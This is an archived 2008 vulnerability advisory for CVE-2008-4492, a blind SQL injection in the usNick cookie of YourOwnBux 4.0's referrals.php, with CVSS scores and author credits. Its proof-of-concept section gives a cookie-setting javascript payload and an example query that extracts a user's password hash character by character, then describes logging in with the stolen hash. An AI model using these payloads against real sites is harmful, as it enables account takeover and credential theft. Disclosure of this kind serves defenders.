YourOwnBux 4.0 (COOKIE) Remote SQL Injection Vulnerability

2008.10.09

Credit: Tec-n0x

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4492

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

-----[]===========[]=> Yourownbux v4.0 Blind SQL Injection Vulnerability ( referrals.php )
-----[]===========[]=> Discovered By: Tec-n0x
Contact: Tec-n0x <at> hotmail <dot> com
-----[]===========[]=> DropSec.com =~ Lab's ..!!
-----[]===========[]=> Gr33tz:
Celciuz, MurdeR, OzX, N.O.X, JosS, DDoS && All Friends
Special Gr33tz to: C1c4tr1Z ( http://lowsec.org )
POC:
Go to => http://site.com/referrals.php ( Logged in )
javascript:document.cookie="usNick=' AND 1=0 /*; expires=Thu, 2 Aug 2020 20:45:20 UTC; path=/";
=> Modify : ' AND 1=0 /* With Injection's.
=> Example: ' AND ascii(substring((SELECT password FROM yob_users where id=1),1,1))=100 /*
=> When You got the Hash ... Add the cookie usNick with the user [ Extract it with blind if you dont know ]
and the SHA1 Hash ( Exploit is going to be available Next Week on DropSec.com ).

References:

http://www.securityfocus.com/bid/31624

http://www.milw0rm.com/exploits/6693

See this note in RAW Version

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{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

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YourOwnBux 4.0 (COOKIE) Remote SQL Injection Vulnerability

References:

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